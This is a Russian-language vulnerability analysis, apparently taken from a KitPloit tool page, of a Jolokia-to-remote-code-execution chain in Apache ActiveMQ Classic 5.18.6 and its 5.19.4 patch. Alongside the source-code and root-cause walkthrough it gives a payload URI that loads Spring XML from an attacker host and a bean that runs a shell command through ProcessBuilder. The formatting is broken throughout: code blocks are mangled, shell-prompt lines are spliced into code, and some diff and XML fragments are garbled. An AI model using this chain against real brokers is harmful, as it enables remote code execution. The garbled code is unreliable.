Эта проверка не может предотвратить выполнение кода через brokerConfig, поскольку brokerConfig уже был удалён из options и использован до того, как эта проверка выполняется.

Путь обнаружения апстрима:```java // activemq-broker/src/main/java/org/apache/activemq/network/DiscoveryNetworkConnector.java remoteTransport = TransportFactory.connect(connectUri);

root@kitploit:~
Для `static:(...)`, `SimpleDiscoveryAgent.start()` немедленно эмитирует каждый сконфигурированный сервис:```java
// activemq-client/src/main/java/org/apache/activemq/transport/discovery/simple/SimpleDiscoveryAgent.java
public void start() throws Exception {
    taskRunner = new TaskRunnerFactory();
    taskRunner.init();

    running.set(true);
    for (int i = 0; i < services.length; i++) {
        listener.onServiceAdd(new SimpleDiscoveryEvent(services[i]));
    }
}

DiscoveryNetworkConnector.onServiceAdd() затем подключается к управляемому атакующим внутреннему URI.


Поток создания брокера

Создание брокера обрабатывается:```java // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerFactory.java public static BrokerService createBroker(URI brokerURI) throws Exception { return createBroker(brokerURI, false); }

public static BrokerService createBroker(URI brokerURI, boolean startBroker) throws Exception { if (brokerURI.getScheme() == null) { throw new IllegalArgumentException("Invalid broker URI, no scheme specified: " + brokerURI); } BrokerFactoryHandler handler = createBrokerFactoryHandler(brokerURI.getScheme()); BrokerService broker = handler.createBroker(brokerURI); if (startBroker) { broker.start(); } return broker; }

root@kitploit:~
Поиск обработчика основан на схеме:```java
private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
    new FactoryFinder("META-INF/services/org/apache/activemq/broker/");

public static BrokerFactoryHandler createBrokerFactoryHandler(String type) throws IOException {
    try {
        return (BrokerFactoryHandler)BROKER_FACTORY_HANDLER_FINDER.newInstance(type);
    } catch (Throwable e) {
        throw IOExceptionSupport.create("Could not load " + type + " factory:" + e, e);
    }
}

Для URI xbean: дескриптор службы сопоставляется с XBeanBrokerFactory:```properties

activemq-broker/src/main/resources/META-INF/services/org/apache/activemq/broker/xbean

class=org.apache.activemq.xbean.XBeanBrokerFactory

root@kitploit:~
Точный статический поток вызовов:```text
BrokerView.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(URI)
  -> DiscoveryNetworkConnector.<init>(URI)
  -> DiscoveryNetworkConnector.handleStart()
  -> SimpleDiscoveryAgent.start()
  -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent)
  -> TransportFactory.connect(URI)
  -> VMTransportFactory.doConnect(URI)
  -> VMTransportFactory.doCompositeConnect(URI)
  -> BrokerFactory.createBroker(URI)
  -> BrokerFactory.createBroker(URI, boolean)
  -> XBeanBrokerFactory.createBroker(URI)

Ключевой переход:```text vm://evil?brokerConfig=xbean:http://attacker/evil.xml

root@kitploit:~
Кому:```text
BrokerFactory.createBroker(new URI("xbean:http://attacker/evil.xml"))

Анализ Spring XBean

Соответствующая фабрика XBean:```java // activemq-spring/src/main/java/org/apache/activemq/xbean/XBeanBrokerFactory.java public class XBeanBrokerFactory implements BrokerFactoryHandler

root@kitploit:~
`createBroker()` извлекает часть URI `xbean:`, специфичную для схемы, и создаёт контекст приложения Spring перед проверкой, содержит ли он брокер:```java
public BrokerService createBroker(URI config) throws Exception {
    String uri = config.getSchemeSpecificPart();
    if (uri.lastIndexOf('?') != -1) {
        IntrospectionSupport.setProperties(this, URISupport.parseQuery(uri));
        uri = uri.substring(0, uri.lastIndexOf('?'));
    }

    ApplicationContext context = createApplicationContext(uri);

    BrokerService broker = null;
    try {
        broker = (BrokerService)context.getBean("broker");
    } catch (BeansException e) {
    }
    ...
}

Опасный sink — это createApplicationContext():```java protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException { Resource resource = Utils.resourceFromString(uri); LOG.debug("Using " + resource + " from " + uri); try { return new ResourceXmlApplicationContext(resource) { @Override protected void initBeanDefinitionReader(XmlBeanDefinitionReader reader) { reader.setValidating(isValidate()); } }; } catch (FatalBeanException errorToLog) { LOG.error("Failed to load: " + resource + ", reason: " + errorToLog.getLocalizedMessage(), errorToLog); throw errorToLog; } }

root@kitploit:~
Удалённые ресурсы принимаются функцией `Utils.resourceFromString()`:```java
// activemq-spring/src/main/java/org/apache/activemq/spring/Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
    Resource resource;
    File file = new File(uri);
    if (file.exists()) {
        resource = new FileSystemResource(uri);
    } else if (ResourceUtils.isUrl(uri)) {
        try {
            resource = new UrlResource(ResourceUtils.getURL(uri));
        } catch (FileNotFoundException e) {
            MalformedURLException malformedURLException = new MalformedURLException(uri);
            malformedURLException.initCause(e);
            throw  malformedURLException;
        }
    } else {
        resource = new ClassPathResource(uri);
    }
    return resource;
}

Следовательно:```text xbean:http://192.168.1.32:9999/evil.xml

root@kitploit:~
сводится к:```text
http://192.168.1.32:9999/evil.xml

и загружается как Spring UrlResource.

Вызов reader.setValidating(isValidate()) управляет только режимом проверки XML в Spring XmlBeanDefinitionReader. Он не ограничивает классы бинов, аргументы конструкторов, методы жизненного цикла или удалённые URL-ресурсы.


Анализ создания бинов Spring

ActiveMQ 5.18.6 объявляет:```xml 5.3.39 4.25

root@kitploit:~
В XBean 4.25, `ResourceXmlApplicationContext` вызывает `refresh()` из своего конструктора:```java
// org/apache/xbean/spring/context/ResourceXmlApplicationContext.java
public ResourceXmlApplicationContext(Resource resource, List xmlPreprocessors) {
    super();
    this.xmlPreprocessors = xmlPreprocessors;
    this.resource = resource;
    refresh();
}

Он загружает определения бинов из предоставленного ресурса:```java protected void loadBeanDefinitions(XmlBeanDefinitionReader reader) throws BeansException, IOException { reader.loadBeanDefinitions(resource); }

root@kitploit:~
`AbstractApplicationContext.refresh()` в Spring затем инициализирует фабрику бинов и создаёт экземпляры неленивых синглтон-бинов:```java
// org/springframework/context/support/AbstractApplicationContext.java
// Instantiate all remaining (non-lazy-init) singletons.
finishBeanFactoryInitialization(beanFactory);

finishBeanFactoryInitialization() вызывает:```java beanFactory.preInstantiateSingletons();

root@kitploit:~
`DefaultListableBeanFactory.preInstantiateSingletons()` создаёт каждый неабстрактный, синглтонный, неленивый бин:```java
for (String beanName : beanNames) {
    RootBeanDefinition bd = getMergedLocalBeanDefinition(beanName);
    if (!bd.isAbstract() && bd.isSingleton() && !bd.isLazyInit()) {
        ...
        getBean(beanName);
    }
}

Во время инициализации бина Spring вызывает пользовательские методы инициализации:```java // org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory.java protected Object initializeBean(String beanName, Object bean, @Nullable RootBeanDefinition mbd) { ... invokeInitMethods(beanName, wrappedBean, mbd); ... }

root@kitploit:~
Пользовательский метод инициализации определяется из определения бина:```java
String initMethodName = mbd.getInitMethodName();
if (StringUtils.hasLength(initMethodName) &&
        !(isInitializingBean && "afterPropertiesSet".equals(initMethodName)) &&
        !mbd.hasAnyExternallyManagedInitMethod(initMethodName)) {
    invokeCustomInitMethod(beanName, bean, mbd);
}

invokeCustomInitMethod() вызывает метод рефлексивно:```java ReflectionUtils.makeAccessible(methodToInvoke); methodToInvoke.invoke(bean);

root@kitploit:~
Вредоносный Spring XML-бин, например:```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
        <list>
            <value>sh</value>
            <value>-c</value>
            <value>touch /tmp/blahblah.txt</value>
        </list>
    </constructor-arg>
</bean>

вызывает следующее поведение:```text ResourceXmlApplicationContext constructor -> refresh() -> XmlBeanDefinitionReader.loadBeanDefinitions() -> DefaultListableBeanFactory.preInstantiateSingletons() -> getBean("exec") -> instantiate java.lang.ProcessBuilder -> initializeBean() -> invokeInitMethods() -> invokeCustomInitMethod("start") -> ProcessBuilder.start()

root@kitploit:~
Это происходит до того, как `XBeanBrokerFactory.createBroker()` проверяет результирующий контекст на наличие bean (`BrokerService`):```java
ApplicationContext context = createApplicationContext(uri);

BrokerService broker = null;
try {
    broker = (BrokerService)context.getBean("broker");
} catch (BeansException e) {
}

if (broker == null) {
    String[] names = context.getBeanNamesForType(BrokerService.class);
    ...
}

if (broker == null) {
    throw new IllegalArgumentException("The configuration has no BrokerService instance for resource: " + config);
}

Проверка брокера выполняется после обновления контекста Spring. В результате конфигурация может выполнить произвольные init-методы и всё равно быть отклонённой позже как недопустимая конфигурация брокера.


Анализ первопричины

Первопричина — небезопасный архитектурный мост между удалённо вызываемой управляющей операцией и доверенными локальными механизмами начальной загрузки брокера.

Уязвимая конструкция обладает следующими свойствами:

  • Jolokia предоставляет JMX-операции exec для управляющих MBean брокера ActiveMQ.
  • BrokerView.addNetworkConnector(String) принимает управляемый атакующим URI на входе.
  • URI передаётся в сетевой код ActiveMQ без ограничений на уровне управления (management plane) на опасные транспортные схемы.
  • Обнаружение static:(...) приводит к автоматическому подключению к вложенному URI при запуске сетевого коннектора.
  • Транспорт vm:// — это не только внутривиртуальный транспорт; он также поддерживает автоматическое создание брокера, когда именованный VM-брокер отсутствует.
  • VMTransportFactory рассматривает brokerConfig как URI фабрики брокеров и передаёт его в BrokerFactory.createBroker().
  • BrokerFactory поддерживает URI xbean: через XBeanBrokerFactory.
  • XBeanBrokerFactory принимает URL-ресурсы и создаёт Spring-контекст ResourceXmlApplicationContext.
  • Spring энергично создаёт singleton-бины и вызывает пользовательские init-методы во время обновления контекста.
  • ActiveMQ проверяет, содержит ли контекст допустимый BrokerService, только после того, как Spring уже инициализировал контекст.

Это не просто «некорректная проверка входных данных» в изоляции. Уязвимое поведение вызвано предоставлением интерпретатора URI, способного работать с конфигурацией, через JMX-операцию времени выполнения и допуском этого интерпретатора к исполнению жизненного цикла Spring-бинов.

Точная причина отказа состоит в том, что управляющий API рассматривает discoveryAddress как адрес коннектора, но нижележащий транспортный стек трактует его как исполняемую конфигурацию. На пути эксплуатации строка вычисляется как:```text network connector URI -> discovery service URI -> VM transport URI -> broker creation URI -> XBean Spring resource URI -> Spring bean definitions -> Java object lifecycle methods

root@kitploit:~
Проверка выполняется слишком поздно, потому что единственная проверка конфигурации брокера в `XBeanBrokerFactory` происходит после:```java
new ResourceXmlApplicationContext(resource)

и этот конструктор выполняет:```text refresh() -> preInstantiateSingletons() -> init-method invocation

root@kitploit:~
К тому моменту, как ActiveMQ определит, что XML не содержит допустимого `BrokerService`, управляемые атакующим Spring-бины могли уже выполниться.

---

### Анализ патча

Соответствующий дифф был проанализирован с помощью:```bash
git diff activemq-5.18.6..activemq-5.19.4

Изменение, связанное с безопасностью, находится в:```text activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java

root@kitploit:~
В 5.18.6, `addNetworkConnector()` напрямую передавал строку:```java
public String addNetworkConnector(String discoveryAddress) throws Exception {
    NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
    ...
    connector.start();
    return connector.getName();
}

В 5.19.4 была добавлена проверка перед вызовом BrokerService:```diff public String addNetworkConnector(String discoveryAddress) throws Exception {

  • // Verify VM transport is not used
  • validateAllowedUrl(discoveryAddress); NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
root@kitploit:~
Та же проверка была добавлена в `addConnector()`:```diff
 public String addConnector(String discoveryAddress) throws Exception {
+    // Verify VM transport is not used
+    validateAllowedUrl(discoveryAddress);
     TransportConnector connector = brokerService.addConnector(discoveryAddress);

Валидатор отклоняет транспортные схемы vm:```java private static void validateAllowedUrl(String uriString) throws URISyntaxException { validateAllowedUri(new URI(uriString), 0); }

// Validate the URI does not contain VM transport private static void validateAllowedUri(URI uri, int depth) throws URISyntaxException { // Don't allow more than 5 nested URIs to prevent blowing the stack if (depth > 5) { throw new IllegalArgumentException("URI can't contain more than 5 nested composite URIs"); }

root@kitploit:~
// First check the main URI scheme
validateAllowedScheme(uri.getScheme());

// If composite, iterate and check each of the composite URIs
if (URISupport.isCompositeURI(uri)) {
    URISupport.CompositeData data = URISupport.parseComposite(uri);
    depth++;
    for (URI component : data.getComponents()) {
        if (URISupport.isCompositeURI(uri)) {
            validateAllowedUri(component, depth);
        } else {
            validateAllowedScheme(uri.getScheme());
        }
    }
}

}

// We don't allow VM transport scheme to be used private static void validateAllowedScheme(String scheme) { if (scheme.equals("vm")) { throw new IllegalArgumentException("VM scheme is not allowed"); } }

root@kitploit:~
Исправленный путь выполнения становится:```text
Jolokia exec
  -> BrokerView.addNetworkConnector(String)
  -> validateAllowedUrl(String)
  -> validateAllowedUri(URI)
  -> validateAllowedScheme("vm")
  -> IllegalArgumentException("VM scheme is not allowed")

Это блокирует эксплойт до того, как запрос достигнет:```text BrokerService.addNetworkConnector() DiscoveryNetworkConnector.start() TransportFactory.connect() VMTransportFactory.doCompositeConnect() BrokerFactory.createBroker() XBeanBrokerFactory.createApplicationContext() ResourceXmlApplicationContext.refresh()

root@kitploit:~
Патч не удаляет поддержку VM-транспорта глобально. Он ограничивает использование `vm://` через методы создания коннекторов `BrokerView`, ориентированные на JMX. Внутренние или доверенные пути кода, использующие VM-транспорт, по-прежнему существуют.

Между версиями 5.18.6 и 5.19.4 в `VMTransportFactory.doCompositeConnect()` не было внесено изменений, влияющих на безопасность. Поведение `brokerConfig` остаётся прежним:```java
String config = options.remove("brokerConfig");
if (config != null) {
    brokerURI = new URI(config);
}
...
broker = BrokerFactory.createBroker(brokerURI);

No security-relevant change was made to XBeanBrokerFactory.createApplicationContext() in this diff. Remote URL resources and Spring ResourceXmlApplicationContext behavior remain available for trusted broker configuration loading.

BrokerFactory changed from a raw FactoryFinder to a typed FactoryFinder<BrokerFactoryHandler>:```diff

  • private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
  • root@kitploit:~
    new FactoryFinder("META-INF/services/org/apache/activemq/broker/");
    
  • private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER
  • root@kitploit:~
    = new FactoryFinder<>("META-INF/services/org/apache/activemq/broker/",
    
  • root@kitploit:~
    BrokerFactoryHandler.class, null);
    
root@kitploit:~
Это очистка типобезопасности, а не смягчение последствий RCE. Диспетчеризация на основе схемы к `XBeanBrokerFactory` остается.

`BrokerService` получил проверки `isAutoStart()` для запуска коннектора в некоторых путях:```diff
- connector.start();
+ if(connector.isAutoStart()) {
+     connector.start();
+ }

Это не основное исправление для пути Jolokia-to-RCE. Основная мера смягчения — предварительная отбраковка vm:// в BrokerView.

Сводка поведения патча:

  • 5.18.6: BrokerView.addNetworkConnector() принимает static:(vm://...?brokerConfig=xbean:http://...) и передаёт его дальше по цепочке.
  • 5.19.4: BrokerView.addNetworkConnector() проверяет предоставленный URI перед созданием коннектора и отклоняет использование вложенного vm://.
  • 5.18.6: VMTransportFactory может потреблять контролируемый атакующим brokerConfig, достижимый через путь JMX.
  • 5.19.4: VMTransportFactory по-прежнему поддерживает brokerConfig, но открытый путь JMX блокируется до разрешения VM-транспорта.

Вывод статического анализа

Точный уязвимый путь выполнения кода в ActiveMQ Classic 5.18.6:```text HTTP POST /api/jolokia/ -> Jolokia exec operation -> org.apache.activemq:type=Broker,brokerName= -> BrokerView.addNetworkConnector(String) -> BrokerService.addNetworkConnector(String) -> BrokerService.addNetworkConnector(URI) -> DiscoveryNetworkConnector.setUri(URI) -> DiscoveryAgentFactory.createDiscoveryAgent(URI) -> SimpleDiscoveryAgentFactory.doCreateDiscoveryAgent(URI) -> BrokerView.addNetworkConnector(): connector.start() -> DiscoveryNetworkConnector.handleStart() -> SimpleDiscoveryAgent.start() -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent) -> TransportFactory.connect(URI) -> VMTransportFactory.doConnect(URI) -> VMTransportFactory.doCompositeConnect(URI) -> BrokerFactory.createBroker(URI) -> XBeanBrokerFactory.createBroker(URI) -> XBeanBrokerFactory.createApplicationContext(String) -> Utils.resourceFromString(String) -> new ResourceXmlApplicationContext(Resource) -> XmlBeanDefinitionReader.loadBeanDefinitions(Resource) -> AbstractApplicationContext.refresh() -> DefaultListableBeanFactory.preInstantiateSingletons() -> AbstractAutowireCapableBeanFactory.invokeCustomInitMethod() -> ProcessBuilder.start()

root@kitploit:~
Эксплуатация возможна, поскольку ActiveMQ предоставляет управляющую операцию, которая принимает URI коннектора, но нижележащая реализация транспорта может интерпретировать этот URI как конфигурацию создания брокера. Параметр `brokerConfig` переходит из логики транспортного соединения в логику фабрики брокера. При значении `xbean:` он переходит далее в обработку Spring XML.

Примитив выполнения в Spring — это не отдельная ошибка десериализации. Это нормальное поведение жизненного цикла Spring: неленивый singleton-бин создаётся во время обновления контекста, и его настроенный `init-method` вызывается. Бин `java.lang.ProcessBuilder` с `init-method="start"` таким образом выполняет процесс во время инициализации контекста приложения.

Сбой проверки — это дефект порядка действий. ActiveMQ проверяет, содержит ли конфигурация XBean пригодный `BrokerService`, только после того, как `ResourceXmlApplicationContext` уже загрузил XML и инициализировал singleton-бины. Отклонение конфигурации брокера после обновления не отменяет побочных эффектов методов жизненного цикла бинов.

Патч 5.19.4 смягчает этот конкретный путь, добавляя проверку URI в `BrokerView` перед созданием коннектора и отклоняя использование транспорта `vm://` из поверхности управления JMX. Патч блокирует открытый путь к `VMTransportFactory.doCompositeConnect()`; он не удаляет `brokerConfig`, поддержку `xbean:` или загрузку Spring XBean из доверенных внутренних путей конфигурации.
Скачать инструмент